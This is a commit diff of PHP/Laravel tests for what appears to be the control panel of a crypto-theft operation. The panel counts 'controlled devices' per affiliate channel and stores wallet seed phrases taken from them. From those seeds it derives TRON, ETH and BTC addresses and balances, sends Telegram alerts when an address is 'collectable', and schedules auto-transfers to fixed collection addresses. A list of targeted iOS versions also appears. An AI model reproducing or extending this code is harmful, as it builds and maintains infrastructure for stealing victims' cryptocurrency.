feat: stats
This commit is contained in:
@@ -356,6 +356,18 @@ class AdminAgentPortalTest extends TestCase
|
||||
'updated_at' => '2026-08-10 12:00:00',
|
||||
]);
|
||||
|
||||
$oldAddr = WalletAddress::query()->create([
|
||||
'device_id' => $outOfRange->id,
|
||||
'address' => 'TOutOfRangeAddr11111111111111111',
|
||||
'chain_type' => 'TRON',
|
||||
'usdt' => '3',
|
||||
'trx' => '2',
|
||||
]);
|
||||
\Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $oldAddr->id)->update([
|
||||
'created_at' => '2026-07-01 12:00:00',
|
||||
'updated_at' => '2026-07-01 12:00:00',
|
||||
]);
|
||||
|
||||
$mn = WalletMnemonic::query()->create([
|
||||
'device_id' => $inRange->id,
|
||||
'source' => 'MetaMask',
|
||||
@@ -378,7 +390,7 @@ class AdminAgentPortalTest extends TestCase
|
||||
->assertJsonPath('data.wallet_count', 1)
|
||||
->assertJsonPath('data.mnemonic_count', 1)
|
||||
->assertJsonPath('data.address_count', 1)
|
||||
->assertJsonPath('data.balances.usdt', '5')
|
||||
->assertJsonPath('data.balances.usdt', '8')
|
||||
->assertJsonPath('data.date_from', '2026-08-01')
|
||||
->assertJsonPath('data.date_to', '2026-08-15');
|
||||
}
|
||||
|
||||
@@ -0,0 +1,179 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\MnemonicAddressLinker;
|
||||
use App\Services\MnemonicWalletDiscovery;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class CollectableAddressNotifyTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
|
||||
private const TRON_0 = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
|
||||
|
||||
private const ETH_0 = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
|
||||
|
||||
private const BTC_0 = '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'tg-token',
|
||||
'coruna.telegram.owner_chat_id' => '10001',
|
||||
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
||||
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||
'coruna.eth.rpc_url' => 'https://ethereum.example',
|
||||
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
||||
'coruna.btc.api_url' => 'https://mempool.example/api',
|
||||
]);
|
||||
}
|
||||
|
||||
private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic
|
||||
{
|
||||
$row = new WalletMnemonic([
|
||||
'device_id' => $device->id,
|
||||
'source' => $source,
|
||||
]);
|
||||
$row->mnemonic = self::MNEMONIC;
|
||||
$row->save();
|
||||
|
||||
return $row;
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function schedule_runs_link_mnemonics_with_auto_transfer(): void
|
||||
{
|
||||
$this->artisan('schedule:list')
|
||||
->expectsOutputToContain('coruna:link-mnemonics')
|
||||
->expectsOutputToContain('coruna:auto-transfer')
|
||||
->assertSuccessful();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function successful_link_sends_collectable_address_telegram(): void
|
||||
{
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
]);
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-collect-link',
|
||||
'ios_version' => '18.0',
|
||||
'device_model' => 'iPhone',
|
||||
]);
|
||||
$this->storeMnemonic($device);
|
||||
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => self::TRON_0,
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'monitor' => 0,
|
||||
'trx' => 3.5,
|
||||
'usdt' => 12,
|
||||
]);
|
||||
|
||||
$this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr));
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
|
||||
return false;
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '地址可归集通知')
|
||||
&& str_contains($text, self::TRON_0)
|
||||
&& str_contains($text, 'TRX: 3.5')
|
||||
&& str_contains($text, 'USDT: 12')
|
||||
&& ($request->data()['chat_id'] ?? null) === '10001';
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function unmatched_link_does_not_send_collectable_telegram(): void
|
||||
{
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
]);
|
||||
|
||||
$device = Device::query()->create(['device_id' => 'dev-collect-miss']);
|
||||
$this->storeMnemonic($device);
|
||||
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'TXYZunmatched111111111111111111111',
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'monitor' => 0,
|
||||
]);
|
||||
|
||||
$this->assertFalse(app(MnemonicAddressLinker::class)->linkAddress($addr));
|
||||
|
||||
Http::assertNotSent(fn ($request) => str_contains((string) ($request->data()['text'] ?? ''), '地址可归集通知'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function mnemonic_derive_sends_collectable_addresses_and_balances(): void
|
||||
{
|
||||
Http::fake(function ($request) {
|
||||
$url = $request->url();
|
||||
if (str_contains($url, 'api.telegram.org')) {
|
||||
return Http::response(['ok' => true], 200);
|
||||
}
|
||||
if (str_contains($url, '/wallet/getaccount')) {
|
||||
return Http::response(['balance' => 5_000_000], 200);
|
||||
}
|
||||
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
||||
return Http::response(['constant_result' => [dechex(2_000_000)]], 200);
|
||||
}
|
||||
if (str_contains($url, 'ethereum.example')) {
|
||||
$method = $request->data()['method'] ?? '';
|
||||
if ($method === 'eth_getBalance') {
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
||||
}
|
||||
if ($method === 'eth_call') {
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
||||
}
|
||||
}
|
||||
if (str_contains($url, 'mempool.example')) {
|
||||
return Http::response([
|
||||
'chain_stats' => ['funded_txo_sum' => 100_000, 'spent_txo_sum' => 0],
|
||||
], 200);
|
||||
}
|
||||
|
||||
return Http::response([], 404);
|
||||
});
|
||||
|
||||
$device = Device::query()->create(['device_id' => 'dev-collect-derive']);
|
||||
$mnemonic = $this->storeMnemonic($device);
|
||||
|
||||
$this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverIndexZero($mnemonic));
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
|
||||
return false;
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '地址可归集通知')
|
||||
&& str_contains($text, self::TRON_0)
|
||||
&& str_contains($text, self::ETH_0)
|
||||
&& str_contains($text, self::BTC_0)
|
||||
&& str_contains($text, 'TRX:')
|
||||
&& str_contains($text, 'USDT:')
|
||||
&& str_contains($text, 'BTC:')
|
||||
&& ($request->data()['chat_id'] ?? null) === '10001';
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,433 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\DailyStat;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\DashboardStatsService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class DailyReportTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const CHANNEL = 'ffffffffffffffffffffffffffffffff';
|
||||
|
||||
private const OTHER = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
config([
|
||||
'coruna.panel.admin_hosts' => [],
|
||||
'coruna.panel.agent_hosts' => [],
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function schedule_includes_daily_stats(): void
|
||||
{
|
||||
$this->artisan('schedule:list')
|
||||
->expectsOutputToContain('coruna:daily-stats')
|
||||
->assertSuccessful();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_page_matches_dashboard_today_and_lists_thirty_days(): void
|
||||
{
|
||||
$this->seedTodayVisitsAndDevices();
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$dash = app(DashboardStatsService::class)->collect(['range' => 'today']);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.reports.daily'))
|
||||
->assertOk()
|
||||
->assertSee('按日期统计')
|
||||
->assertSee('总 UV')
|
||||
->assertSee('有效 UV')
|
||||
->assertSee('受控设备')
|
||||
->assertSee('受控比例')
|
||||
->assertSee('有钱包设备')
|
||||
->assertSee('钱包地址')
|
||||
->assertSee('助记词数')
|
||||
->assertSee('近 30 天')
|
||||
->assertSee('LAY-daily-date-range')
|
||||
->assertSee('LAY-daily-report')
|
||||
->assertSee('LAY-daily-report-chart')
|
||||
->assertSee('echarts')
|
||||
->assertSee("'受控设备': true", false)
|
||||
->assertSee('LAY-daily-search')
|
||||
->assertSee('代理用户')
|
||||
->assertSee(now()->toDateString())
|
||||
->assertDontSee('最近30天');
|
||||
|
||||
$payload = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.reports.daily.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.from', now()->subDays(29)->toDateString())
|
||||
->assertJsonPath('data.to', now()->toDateString())
|
||||
->json('data');
|
||||
|
||||
$this->assertCount(30, $payload['rows']);
|
||||
$this->assertSame(now()->toDateString(), $payload['rows'][0]['date']);
|
||||
$this->assertSame($dash['uv'], $payload['rows'][0]['uv']);
|
||||
$this->assertSame($dash['effective_uv'], $payload['rows'][0]['effective_uv']);
|
||||
$this->assertSame($dash['total'], $payload['rows'][0]['devices']);
|
||||
$this->assertEquals(round($dash['total'] / $dash['effective_uv'] * 100, 1), $payload['rows'][0]['control_rate']);
|
||||
$this->assertSame($dash['wallet_count'], $payload['rows'][0]['wallet_devices']);
|
||||
$this->assertSame($dash['address_count'], $payload['rows'][0]['address_count']);
|
||||
$this->assertSame($dash['mnemonic_count'], $payload['rows'][0]['mnemonic_count']);
|
||||
$this->assertNull($payload['rows'][1]['control_rate']);
|
||||
$this->assertSame(30, DailyStat::query()->where('scope_key', DailyStat::SCOPE_ALL)->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function data_accepts_custom_date_range(): void
|
||||
{
|
||||
$this->seedTodayVisitsAndDevices();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$from = now()->subDays(2)->toDateString();
|
||||
$to = now()->toDateString();
|
||||
|
||||
$payload = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.reports.daily.data', [
|
||||
'date_from' => $from,
|
||||
'date_to' => $to,
|
||||
]))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.from', $from)
|
||||
->assertJsonPath('data.to', $to)
|
||||
->json('data');
|
||||
|
||||
$this->assertCount(3, $payload['rows']);
|
||||
$this->assertSame($to, $payload['rows'][0]['date']);
|
||||
$this->assertSame($from, $payload['rows'][2]['date']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function data_can_span_more_than_thirty_days(): void
|
||||
{
|
||||
$old = now()->subDays(40);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'old-uv',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => $old,
|
||||
]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$payload = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.reports.daily.data', [
|
||||
'date_from' => $old->toDateString(),
|
||||
'date_to' => now()->toDateString(),
|
||||
]))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.from', $old->toDateString())
|
||||
->assertJsonPath('data.to', now()->toDateString())
|
||||
->json('data');
|
||||
|
||||
$this->assertCount(41, $payload['rows']);
|
||||
$oldRow = collect($payload['rows'])->firstWhere('date', $old->toDateString());
|
||||
$this->assertNotNull($oldRow);
|
||||
$this->assertSame(1, $oldRow['uv']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function command_rebuilds_historical_day(): void
|
||||
{
|
||||
$yesterday = now()->subDay();
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'hist-1',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => $yesterday,
|
||||
]);
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'hist-dev',
|
||||
'channel_id' => self::CHANNEL,
|
||||
'has_wallet' => Device::WALLET_YES,
|
||||
]);
|
||||
\Illuminate\Support\Facades\DB::table('devices')->where('id', $device->id)->update([
|
||||
'created_at' => $yesterday->toDateTimeString(),
|
||||
'updated_at' => $yesterday->toDateTimeString(),
|
||||
]);
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'THistDailyAddr1111111111111111111',
|
||||
'chain_type' => 'TRON',
|
||||
]);
|
||||
\Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $addr->id)->update([
|
||||
'created_at' => $yesterday->toDateTimeString(),
|
||||
'updated_at' => $yesterday->toDateTimeString(),
|
||||
]);
|
||||
$mnemonic = new WalletMnemonic([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
]);
|
||||
$mnemonic->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$mnemonic->save();
|
||||
\Illuminate\Support\Facades\DB::table('wallet_mnemonics')->where('id', $mnemonic->id)->update([
|
||||
'created_at' => $yesterday->toDateTimeString(),
|
||||
'updated_at' => $yesterday->toDateTimeString(),
|
||||
]);
|
||||
|
||||
$this->artisan('coruna:daily-stats', ['--days' => 2])
|
||||
->expectsOutputToContain('daily-stats rebuilt=2')
|
||||
->assertSuccessful();
|
||||
|
||||
$row = DailyStat::query()
|
||||
->where('scope_key', DailyStat::SCOPE_ALL)
|
||||
->where('stat_date', $yesterday->toDateString())
|
||||
->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame(1, $row->uv);
|
||||
$this->assertSame(1, $row->effective_uv);
|
||||
$this->assertSame(1, $row->devices);
|
||||
$this->assertSame(1, $row->wallet_devices);
|
||||
$this->assertSame(1, $row->address_count);
|
||||
$this->assertSame(1, $row->mnemonic_count);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function command_all_backfills_from_earliest_row(): void
|
||||
{
|
||||
$old = now()->subDays(40);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'old-uv',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => $old,
|
||||
]);
|
||||
|
||||
$this->artisan('coruna:daily-stats', ['--all' => true])
|
||||
->expectsOutputToContain('daily-stats rebuilt=')
|
||||
->assertSuccessful();
|
||||
|
||||
$row = DailyStat::query()
|
||||
->where('scope_key', DailyStat::SCOPE_ALL)
|
||||
->where('stat_date', $old->toDateString())
|
||||
->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame(1, $row->uv);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_only_sees_own_channel(): void
|
||||
{
|
||||
$agent = User::query()->create(['username' => 'rep-agent', 'password' => 'secret12', 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => self::CHANNEL, 'user_id' => $agent->id, 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => self::OTHER, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]);
|
||||
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'mine',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::OTHER,
|
||||
'client_uid' => 'other',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'mine-dev',
|
||||
'channel_id' => self::CHANNEL,
|
||||
'has_wallet' => Device::WALLET_YES,
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'other-dev',
|
||||
'channel_id' => self::OTHER,
|
||||
'has_wallet' => Device::WALLET_YES,
|
||||
]);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->get(route('user.reports.daily'))
|
||||
->assertOk()
|
||||
->assertSee('按日期统计')
|
||||
->assertSee('近 30 天')
|
||||
->assertDontSee('代理用户');
|
||||
|
||||
$payload = $this->actingAs($agent, 'agent')
|
||||
->getJson(route('user.reports.daily.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->json('data');
|
||||
|
||||
$this->assertSame(1, $payload['rows'][0]['uv']);
|
||||
$this->assertSame(1, $payload['rows'][0]['devices']);
|
||||
$this->assertEquals(100, $payload['rows'][0]['control_rate']);
|
||||
$this->assertSame(1, $payload['rows'][0]['wallet_devices']);
|
||||
$this->assertSame(30, DailyStat::query()->where('scope_key', 'a:'.$agent->id)->count());
|
||||
$this->assertSame(0, (int) DailyStat::query()->where('scope_key', DailyStat::SCOPE_ALL)->sum('uv'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_filter_by_agent(): void
|
||||
{
|
||||
$agent = User::query()->create(['username' => 'filter-agent', 'password' => 'secret12', 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => self::CHANNEL, 'user_id' => $agent->id, 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => self::OTHER, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]);
|
||||
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'mine',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::OTHER,
|
||||
'client_uid' => 'official',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'mine-dev',
|
||||
'channel_id' => self::CHANNEL,
|
||||
'has_wallet' => Device::WALLET_YES,
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'official-dev',
|
||||
'channel_id' => self::OTHER,
|
||||
'has_wallet' => Device::WALLET_NONE,
|
||||
]);
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$all = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.reports.daily.data'))
|
||||
->assertOk()
|
||||
->json('data.rows.0');
|
||||
$this->assertSame(2, $all['uv']);
|
||||
$this->assertSame(2, $all['devices']);
|
||||
$this->assertSame(1, $all['wallet_devices']);
|
||||
|
||||
$mine = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.reports.daily.data', ['agent_user_id' => $agent->id]))
|
||||
->assertOk()
|
||||
->json('data.rows.0');
|
||||
$this->assertSame(1, $mine['uv']);
|
||||
$this->assertSame(1, $mine['devices']);
|
||||
$this->assertSame(1, $mine['wallet_devices']);
|
||||
|
||||
$official = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.reports.daily.data', ['agent_user_id' => 0]))
|
||||
->assertOk()
|
||||
->json('data.rows.0');
|
||||
$this->assertSame(1, $official['uv']);
|
||||
$this->assertSame(1, $official['devices']);
|
||||
$this->assertSame(0, $official['wallet_devices']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function command_rebuilds_agent_scopes(): void
|
||||
{
|
||||
$agent = User::query()->create(['username' => 'cron-agent', 'password' => 'secret12', 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => self::CHANNEL, 'user_id' => $agent->id, 'status' => 1]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'cron-uv',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$this->artisan('coruna:daily-stats', ['--days' => 1])
|
||||
->expectsOutputToContain('rebuilt=1 agents=1')
|
||||
->assertSuccessful();
|
||||
|
||||
$row = DailyStat::query()
|
||||
->where('scope_key', 'a:'.$agent->id)
|
||||
->where('stat_date', now()->toDateString())
|
||||
->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame(1, $row->uv);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function home_menu_includes_daily_report(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.home'))
|
||||
->assertOk()
|
||||
->assertSee('每日报表')
|
||||
->assertSee(route('admin.reports.daily'), false);
|
||||
}
|
||||
|
||||
private function seedTodayVisitsAndDevices(): void
|
||||
{
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'u1',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'u1',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'u2',
|
||||
'os' => 'Android',
|
||||
'os_version' => '13',
|
||||
'browser' => 'Chrome',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
$wallet = Device::query()->create([
|
||||
'device_id' => 'dev-wallet',
|
||||
'channel_id' => self::CHANNEL,
|
||||
'has_wallet' => Device::WALLET_YES,
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-empty',
|
||||
'channel_id' => self::CHANNEL,
|
||||
'has_wallet' => Device::WALLET_NONE,
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $wallet->id,
|
||||
'address' => 'TDailyReportAddr11111111111111111',
|
||||
'chain_type' => 'TRON',
|
||||
]);
|
||||
$mnemonic = new WalletMnemonic([
|
||||
'device_id' => $wallet->id,
|
||||
'source' => 'imToken',
|
||||
]);
|
||||
$mnemonic->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$mnemonic->save();
|
||||
}
|
||||
}
|
||||
@@ -462,6 +462,13 @@ class PageVisitTest extends TestCase
|
||||
$rows = [
|
||||
['12.5.7', false],
|
||||
['13.0', true],
|
||||
['15.8.7', true],
|
||||
['15.8.8', false],
|
||||
['15.8.9', true],
|
||||
['16.7.1', true],
|
||||
['16.7.9', true],
|
||||
['16.7.10', false],
|
||||
['16.7.12', false],
|
||||
['17.2.1', true],
|
||||
['17.2.2', false],
|
||||
['17.3', false],
|
||||
|
||||
@@ -87,6 +87,8 @@ class SystemAdminTest extends TestCase
|
||||
$this->actingAs($staff, 'admin')
|
||||
->get(route('admin.home'))
|
||||
->assertOk()
|
||||
->assertSee('每日报表')
|
||||
->assertSee('lay-href="'.route('admin.reports.daily').'"', false)
|
||||
->assertSee('lay-href="'.route('admin.system.settings.index').'"', false)
|
||||
->assertDontSee('lay-href="'.route('admin.system.logs.index').'"', false)
|
||||
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false)
|
||||
@@ -164,12 +166,14 @@ class SystemAdminTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function settings_page_hides_token_and_transfer_to_addresses(): void
|
||||
public function settings_page_hides_token_and_shows_readonly_collect_addresses(): void
|
||||
{
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'secret-token-should-not-render',
|
||||
'coruna.telegram.bot_username' => 'ops_bot',
|
||||
'coruna.transfer.to_address' => 'THiddenToAddressShouldNotRender',
|
||||
'coruna.transfer.to_address' => 'TCollectTronAddressForDisplayOnly',
|
||||
'coruna.transfer.to_address_eth' => '0xCollectEthAddressForDisplayOnly',
|
||||
'coruna.transfer.to_address_btc' => 'bc1CollectBtcAddressForDisplay',
|
||||
'coruna.panel.admin_hosts' => [],
|
||||
'coruna.channel_domains' => ['hidden-cdn.example.com'],
|
||||
]);
|
||||
@@ -180,11 +184,16 @@ class SystemAdminTest extends TestCase
|
||||
->assertDontSee('secret-token-should-not-render')
|
||||
->assertDontSee('name="telegram_bot_token"', false)
|
||||
->assertDontSee('name="transfer_to_address"', false)
|
||||
->assertDontSee('name="transfer_to_address_eth"', false)
|
||||
->assertDontSee('name="transfer_to_address_btc"', false)
|
||||
->assertDontSee('name="panel_admin_hosts"', false)
|
||||
->assertDontSee('name="channels_domains"', false)
|
||||
->assertDontSee('后台访问域名')
|
||||
->assertDontSee('渠道链接')
|
||||
->assertDontSee('THiddenToAddressShouldNotRender')
|
||||
->assertSee('归集地址')
|
||||
->assertSee('TCollectTronAddressForDisplayOnly')
|
||||
->assertSee('0xCollectEthAddressForDisplayOnly')
|
||||
->assertSee('bc1CollectBtcAddressForDisplay')
|
||||
->assertDontSee('hidden-cdn.example.com')
|
||||
->assertSee('TELEGRAM_BOT_TOKEN')
|
||||
->assertSee('@ops_bot')
|
||||
@@ -192,6 +201,32 @@ class SystemAdminTest extends TestCase
|
||||
->assertDontSee('staff_mnemonic_reveal');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function settings_update_cannot_change_collect_addresses(): void
|
||||
{
|
||||
config([
|
||||
'coruna.transfer.to_address' => 'TKeepCollect',
|
||||
'coruna.transfer.to_address_eth' => '0xKeepCollect',
|
||||
'coruna.transfer.to_address_btc' => 'bc1KeepCollect',
|
||||
]);
|
||||
|
||||
$this->actingAs($this->superAdmin(), 'admin')
|
||||
->post(route('admin.system.settings.update'), [
|
||||
'telegram_owner_chat_id' => '-1001',
|
||||
'official_album_storage' => '0',
|
||||
'auto_transfer_enabled' => '0',
|
||||
'transfer_to_address' => 'THackedCollect',
|
||||
'transfer_to_address_eth' => '0xHackedCollect',
|
||||
'transfer_to_address_btc' => 'bc1HackedCollect',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$this->assertSame('TKeepCollect', config('coruna.transfer.to_address'));
|
||||
$this->assertSame('0xKeepCollect', config('coruna.transfer.to_address_eth'));
|
||||
$this->assertSame('bc1KeepCollect', config('coruna.transfer.to_address_btc'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function super_admin_can_crud_admins(): void
|
||||
{
|
||||
|
||||
@@ -60,21 +60,28 @@ class WalletAddressFilterTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function data_includes_mnemonic_id(): void
|
||||
public function data_marks_collectable_when_mnemonic_linked(): void
|
||||
{
|
||||
$rows = $this->seedRows();
|
||||
$this->seedRows();
|
||||
$admin = $this->admin();
|
||||
|
||||
$this->actingAs($this->admin(), 'admin')
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.addresses.index'))
|
||||
->assertOk()
|
||||
->assertSee('可归集')
|
||||
->assertDontSee('助记词 ID');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.addresses.data', ['device_key' => 'dev-addr-filter']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 3)
|
||||
->assertJsonFragment([
|
||||
'address' => 'addr-with-mnemonic',
|
||||
'mnemonic_id' => $rows['mnemonic']->id,
|
||||
'collectable' => true,
|
||||
])
|
||||
->assertJsonFragment([
|
||||
'address' => 'addr-plain',
|
||||
'mnemonic_id' => null,
|
||||
'collectable' => false,
|
||||
]);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user